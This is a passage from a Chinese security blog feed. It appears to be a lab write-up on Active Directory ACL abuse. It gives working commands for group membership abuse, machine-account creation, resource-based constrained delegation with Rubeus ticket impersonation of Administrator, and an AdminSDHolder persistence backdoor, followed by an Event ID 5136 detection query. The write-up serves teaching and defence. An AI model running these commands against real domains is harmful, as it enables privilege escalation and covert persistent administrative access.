S-1-5-21-1540577040-1432127714-718651653-1152<br/>adminCount: 1<br/>sAMAccountName: IT administrators<br/>sAMAccountType: 268435456<br/>groupType: -2147483646<br/>objectCategory: CN=Group,CN=Schema,CN=Configuration,DC=pwn,DC=<span style="color: #4EC9B0;line-height: 26px;">local</span><br/>dSCorePropagationData: 04/16/2023 10:55:21<br/>dSCorePropagationData: 04/16/2023 09:59:26<br/>dSCorePropagationData: 01/01/1601 00:00:00<br/>ADsPath: LDAP://dc.pwn.local/CN=IT administrators,CN=Users,DC=pwn,DC=<span style="color: #4EC9B0;line-height: 26px;">local</span><br/></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">即Jane.Ward可以通过操作IT administrators组成员达到操作account opertaors组的目的。</p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">关于远程加组的操作，可以使用linux下的net</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: rgb(30, 30, 30) url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/sc8lJYpicUaWEhxnXuhhXgZZbF9PmBYcBgibaP3JfbBTrLL4Vm9bdxfT9QyxG8GAicCx6ndssf3PzTuk57HKDSaibWIj4u74w1mL/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat;height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #DCDCDC;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #1E1E1E;border-radius: 5px;">net rpc group addmem <span style="color: #D69D85;line-height: 26px;">&#34;IT administrators&#34;</span> Jane.Ward -U pwn.local/Jane.Ward -S 10.0.1.100<br/></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">通过ldap信息发现已经成功加入组：</p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.5793025871766029" style="display: block;margin: 0 auto;max-width: 100%;" data-w="889" src="https://wechat2rss.xlab.app/img-proxy/?k=7b7a2c02&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795BGx3NqZQCushImQQmyb1ogTTgAh0F5Ct2NnzPfHX7iaHorQE62CvBXc3YhJovKnDX0OSzlEkzBKg%2F640%3Fwx_fmt%3Dpng"/></figure><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span>RBCD(account opertaors -&gt; FLAG$)<span style="display: none;"></span></h3><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">最终转化为拥有account opertaors组成员如何提权的问题。</p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">account opertaors组可以操作除了域管组或Administrators组的成员。想要进一步渗透需要借助rbcd技术。(RBCD) Resource-based constrained即基于资源的约束委派。</p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">RBCD简单来说就是控制机器的msDS-AllowedToActOnBehalfOfOtherIdentity属性，该属性指向一个域用户。表示该用户拥有机器的某一服务权限，如LDAP/SMB等，相当于这台机器的隐藏后门。</p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">account opertaors是拥有域内普通机器的修改权限的：</p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.712682379349046" style="display: block;margin: 0 auto;max-width: 100%;" data-w="891" src="https://wechat2rss.xlab.app/img-proxy/?k=83104710&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795BGx3NqZQCushImQQmyb1ojmGwrvib7wLibahaHa7YbBWOFDIp6wTDOElPXtpe66mLvrhZGJXNZibng%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">因为设置RBCD需要一个拥有spn的账户，一般用户是没有的。机器账户自带一些spn，所以选择新增一个机器账户，默认一个用户可以新增10个机器账户：</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: rgb(30, 30, 30) url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/sc8lJYpicUaWEhxnXuhhXgZZbF9PmBYcBgibaP3JfbBTrLL4Vm9bdxfT9QyxG8GAicCx6ndssf3PzTuk57HKDSaibWIj4u74w1mL/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat;height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #DCDCDC;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #1E1E1E;border-radius: 5px;">python addcomputer.py -computer-name faker -computer-pass 123456 -dc-ip 10.0.1.100 pwn.local/Jane.Ward:Admin7Bits<br/></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">使用<a href="https://github.com/tothi/rbcd-attack修改AllowedToActOnBehalfOfOtherIdentity属性：" target="_blank">https://github.com/tothi/rbcd-attack修改AllowedToActOnBehalfOfOtherIdentity属性：</a></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: rgb(30, 30, 30) url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/sc8lJYpicUaWEhxnXuhhXgZZbF9PmBYcBgibaP3JfbBTrLL4Vm9bdxfT9QyxG8GAicCx6ndssf3PzTuk57HKDSaibWIj4u74w1mL/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat;height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #DCDCDC;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #1E1E1E;border-radius: 5px;">python rbcd.py -dc-ip 10.0.1.100 -t FLAG -f faker pwn\Jane.Ward:Admin7Bits<br/></code></pre><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.2536231884057971" style="display: block;margin: 0 auto;max-width: 100%;" data-w="966" src="https://wechat2rss.xlab.app/img-proxy/?k=f3a30c1a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795BGx3NqZQCushImQQmyb1oR3GM1oLhLD4EBODs9XJ6ydqA29qX6KGPNYvQuicNib3smnnicocuGPuIQ%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">笔者这里是windows环境，使用Rubeus工具申请tgt，使用s4u模拟成administrator并smb访问：</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #DCDCDC;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #1E1E1E;border-radius: 5px;">Rubeus.exe asktgt /domain:pwn.local /user:faker /password:123456 /dc:10.0.1.100 /outfile:1.KIRBI<br/>Rubeus.exe s4u /ticket:1.KIRBI /impersonateuser:Administrator /msdsspn:cifs/FLAG.pwn.local /altservice:cifs /dc:10.0.1.100 /ptt<br/></code></pre><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.8147612156295224" style="display: block;margin: 0 auto;max-width: 100%;" data-w="691" src="https://wechat2rss.xlab.app/img-proxy/?k=9f7c4420&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795BGx3NqZQCushImQQmyb1ohx697BZ6Z4m507Xtu8fCHQf6jlcoBIeOcjfE4BUwV8lic9IqiaqVhnWg%2F640%3Fwx_fmt%3Dpng"/></figure><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span>后门技术<span style="display: none;"></span></h3><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">AdminSDHolder 修改是一种持久性技术，攻击者滥用 Active Directory 中的 SDProp 进程来建立 Active Directory 的持久性后门。每小时（默认情况下），SDProp 将 Active Directory 中受保护对象（例如，具有域管理员权限的用户）的权限与在称为 AdminSDHolder 的特殊容器上定义的权限进行比较。如果它们不同，它将用 AdminSDHolder 上定义的权限替换受保护对象的权限。因此，修改 AdminSDHolder 容器的对手可以建立影子管理路径和重新获得对 Active Directory 的管理访问权限的方法。</p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">被保护的用户组如下：</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: rgb(30, 30, 30) url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/sc8lJYpicUaWEhxnXuhhXgZZbF9PmBYcBgibaP3JfbBTrLL4Vm9bdxfT9QyxG8GAicCx6ndssf3PzTuk57HKDSaibWIj4u74w1mL/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat;height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #DCDCDC;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #1E1E1E;border-radius: 5px;">Account Operators<br/>Backup Operators<br/>Server Operators<br/>Print Operators<br/>Domain Admins<br/>Replicator<br/>Enterprise Admins<br/>Domain Controllers<br/>Read-only Domain Controllers<br/>Schema Admins<br/>Administrators<br/></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">利用起来比较简单：</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: rgb(30, 30, 30) url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/sc8lJYpicUaWEhxnXuhhXgZZbF9PmBYcBgibaP3JfbBTrLL4Vm9bdxfT9QyxG8GAicCx6ndssf3PzTuk57HKDSaibWIj4u74w1mL/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat;height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #DCDCDC;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #1E1E1E;border-radius: 5px;">Add-DomainObjectAcl -TargetIdentity <span style="color: #D69D85;line-height: 26px;">&#39;CN=AdminSDHolder,CN=System&#39;</span> -PrincipalIdentity BobT -Rights All<br/></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">使用 PowerSploit 的 Add-DomainObjectACL cmdlet 将 AdminSDHolder容器上的所有权限授予一个普通账户。下次SDProp进程运行时，普通账户的GenericAll权限将应用于所有受保护的对象。</p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;">检测</span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"> </span></h2><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">默认情况下远程对acl的访问、修改不会产生明显日志。需要手动开启审计日志的DS访问：<img class="rich_pages wxw-img" data-ratio="0.6287037037037037" style="display: block;margin: 0 auto;max-width: 100%;" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=487e1a0f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795BGx3NqZQCushImQQmyb1o3D0cSTRFys6ta9yjw40JZzTK1y7B0nCBLKuu9qoWKFSpIo4zwibauyQ%2F640%3Fwx_fmt%3Dpng"/></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">比如adminsdholder后门，日志id为5136，且ldap属性AttributeLDAPDisplayName为nTSecurityDescriptor安全描述符。</p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.2712962962962963" style="display: block;margin: 0 auto;max-width: 100%;" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=9c744186&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795BGx3NqZQCushImQQmyb1on2IZ5QolRmFMr12amAb3zGPCsV8HfFbrOYosJZwwO0MvxmwCtFy6OQ%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">过滤起来就相当容易:</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: rgb(30, 30, 30) url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/sc8lJYpicUaWEhxnXuhhXgZZbF9PmBYcBgibaP3JfbBTrLL4Vm9bdxfT9QyxG8GAicCx6ndssf3PzTuk57HKDSaibWIj4u74w1mL/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat;height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #DCDCDC;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #1E1E1E;border-radius: 5px;">&lt;QueryList&gt;<br/>  &lt;Query Id=<span style="color: #D69D85;line-height: 26px;">&#34;0&#34;</span> Path=<span style="color: #D69D85;line-height: 26px;">&#34;Security&#34;</span>&gt;<br/>    &lt;Select Path=<span style="color: #D69D85;line-height: 26px;">&#34;Security&#34;</span>&gt;<br/>*[System[(EventID=5136)]]<br/>and<br/>*[EventData[Data[@Name=<span style="color: #D69D85;line-height: 26px;">&#39;ObjectDN&#39;</span>] and (Data=<span style="color: #D69D85;line-height: 26px;">&#39;CN=AdminSDHolder,CN=System,DC=YourDomain,DC=com&#39;</span>)]]<br/>and<br/>*[EventData[Data[@Name=<span style="color: #D69D85;line-height: 26px;">&#39;AttributeLDAPDisplayName&#39;</span>] and (Data=<span style="color: #D69D85;line-height: 26px;">&#39;nTSecurityDescriptor&#39;</span>)]]<br/>&lt;/Select&gt;<br/>  &lt;/Query&gt;<br/>&lt;/QueryList&gt;<br/></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">可以通过powershell将日志中的sddlstring转为可见的模式：</p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.6163450624290578" style="display: block;margin: 0 auto;max-width: 100%;" data-w="881" src="https://wechat2rss.xlab.app/img-proxy/?k=361c997a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795BGx3NqZQCushImQQmyb1ofWIFgXRazWmYy4837avkoo3wnmvVwhomRt88ZRc20vjTzJDl0LdBSA%2F640%3Fwx_fmt%3Dpng"/></figure><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;">总结</span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"> </span></h2><ol style="list-style-type: decimal;" class="list-paddingleft-1"><li><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">acl相关的信息源自ldap信息中的安全描述符，读取的风险系数并不高。但对于获取ldap信息都有限制的环境需要谨慎。</p></li><li><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">修改安全描述符在开启审计日志的情况下比较容易检测，属于高危行为。在利用的时候需要通过GPO确认是否开启了审计日志。</p></li></ol><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;">环境获取</span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"> </span></h2><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">本挑战为xbitsplatform私有环境，xbitsplatform邀请码现通过知识星球活动获取：</p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><img class="rich_pages wxw-img" data-ratio="1.1893333333333334" data-w="750" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=f79b5c48&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795BGx3NqZQCushImQQmyb1oKR2MibgnF2OT5Ekiap6GciaLzMicXurlfu41xMvsM0M2GXwQHySfzia309Q%2F640%3Fwx_fmt%3Dpng"/></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">同时我们也提供完全免费的公开综合靶场环境，如：</p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><a target="_blank" href="http://mp.weixin.qq.com/s?__biz=MzkwNjMyNzM1Nw==&amp;mid=2247500049&amp;idx=1&amp;sn=2e0c3b85dd99f25c1ffeecfd7b7d4990&amp;chksm=c0e8a543f79f2c554023cadbae3789d0929fe6787e1114ef569db3bce016b2d6a16e6ffa080d&amp;scene=21#wechat_redirect" textvalue="记一次团队内部的红蓝对抗-攻击篇" linktype="text" imgurl="" imgdata="null" data-itemshowtype="0" tab="innerlink" data-linktype="2">记一次团队内部的红蓝对抗-攻击篇</a></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">了解更多关于xbitsplatform的信息：<br/></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><a target="_blank" href="http://mp.weixin.qq.com/s?__biz=MzkwNjMyNzM1Nw==&amp;mid=2247500069&amp;idx=1&amp;sn=5e06c7b98f9a90cc016e9125b3458e6b&amp;chksm=c0e8a577f79f2c6125ee8971cd2751e831bb7270e096e706a074cf559363d98c902ab3f59c9e&amp;scene=21#wechat_redirect" textvalue="xBitsPlatform使用说明" linktype="text" imgurl="" imgdata="null" data-itemshowtype="0" tab="innerlink" data-linktype="2">xBitsPlatform使用说明</a></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><a target="_blank" href="http://mp.weixin.qq.com/s?__biz=MzkwNjMyNzM1Nw==&amp;mid=2247499639&amp;idx=1&amp;sn=18afd245d529c8d74ac52a6cb62da68a&amp;chksm=c0e89b25f79f123389e8c3e781bd7f14a999ba3e731b8b1199d1161c1055d4f55bfad8155dcf&amp;scene=21#wechat_redirect" textvalue="xBitsPlatform公测版正式上线啦" linktype="text" imgurl="" imgdata="null" data-itemshowtype="0" tab="innerlink" data-linktype="2">xBitsPlatform公测版正式上线啦<br/></a></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">加入内部讨论群</p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="1" data-s="300,640" style="width: 247px;height: 247px;" data-type="png" data-w="400" src="https://wechat2rss.xlab.app/img-proxy/?k=5c664f7c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795BGx3NqZQCushImQQmyb1ok04sa3T1VEDfwlm44eHGmrsibs1ajHiaRibcJs2fSqPVRH5CH6p6H55Tg%2F640%3Fwx_fmt%3Dpng"/></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;">参考</span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"> </span></h2><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><a href="https://www.secframe.com/blog/2019/account-operators-attacked/" target="_blank">https://www.secframe.com/blog/2019/account-operators-attacked/</a></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><a href="https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces" target="_blank">https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces</a></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><a href="https://www.thehacker.recipes/ad/movement/dacl" target="_blank">https://www.thehacker.recipes/ad/movement/dacl</a></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><a href="https://devblogs.microsoft.com/powershell-community/understanding-get-acl-and-ad-drive-output/" target="_blank">https://devblogs.microsoft.com/powershell-community/understanding-get-acl-and-ad-drive-output/</a></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><a href="https://powersploit.readthedocs.io/en/latest/" target="_blank">https://powersploit.readthedocs.io/en/latest/</a></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><a href="https://ppn.snovvcrash.rocks/pentest/infrastructure/ad/acl-abuse" target="_blank">https://ppn.snovvcrash.rocks/pentest/infrastructure/ad/acl-abuse</a></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><a href="https://github.com/PowerShellMafia/PowerSploit/blob/d943001a7defb5e0d1657085a77a0e78609be58f/Recon/PowerView.ps1" target="_blank">https://github.com/PowerShellMafia/PowerSploit/blob/d943001a7defb5e0d1657085a77a0e78609be58f/Recon/PowerView.ps1</a></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><a href="https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/1522b774-6464-41a3-87a5-1e5633c3fbbb" target="_blank">https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/1522b774-6464-41a3-87a5-1e5633c3fbbb</a></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><a href="https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc771151(v=ws.11)" target="_blank">https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc771151(v=ws.11)</a></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><a href="https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/using-dsacls-to-check-ad-object-permissions" target="_blank">https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/using-dsacls-to-check-ad-object-permissions</a>
<a href="https://blog.fox-it.com/2018/04/26/escalating-privileges-with-acls-in-active-directory/" target="_blank">https://blog.fox-it.com/2018/04/26/escalating-privileges-with-acls-in-active-directory/</a></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><a href="https://www.blackhat.com/docs/us-17/wednesday/us-17-Robbins-An-ACE-Up-The-Sleeve-Designing-Active-Directory-DACL-Backdoors.pdf" target="_blank">https://www.blackhat.com/docs/us-17/wednesday/us-17-Robbins-An-ACE-Up-The-Sleeve-Designing-Active-Directory-DACL-Backdoors.pdf</a></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><a href="https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/acl-persistence-abuse#context" target="_blank">https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/acl-persistence-abuse#context</a></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><a href="https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab" target="_blank">https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab</a></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><a href="https://www.netwrix.com/adminsdholder_modification_ad_persistence.html" target="_blank">https://www.netwrix.com/adminsdholder_modification_ad_persistence.html</a></p></section><p><br/></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247500331">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=f684ec75&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkwNjMyNzM1Nw%3D%3D%26mid%3D2247500331%26idx%3D1%26sn%3D4f2661ed53573844425739960cad6817%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 21 Apr 2023 09:20:00 +0800</pubDate>
    </item>
    <item>
      <title>记一次团队内部的红蓝对抗-攻击篇</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzkwNjMyNzM1Nw==&amp;mid=2247500049&amp;idx=1&amp;sn=2e0c3b85dd99f25c1ffeecfd7b7d4990</link>
      <description>记一次团队内部的红蓝对抗-攻击篇</description>
      <content:encoded><![CDATA[<p>
原创 <span>7bits安全团队</span> <span>2023-04-13 09:30</span> <span style="display: inline-block;">江苏</span>
</p>

<p>记一次团队内部的红蓝对抗-攻击篇</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=9752f204&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FPLeCXQl8797ibTh2Nsq6ZhjH4iaC24Hbic06s8hqLAYfbghCr6xk1JNJuDxlia4Jzcd7UpJKMBVYdwmXibVs3BjTRrg%2F0%3Fwx_fmt%3Djpeg"/>
</p>


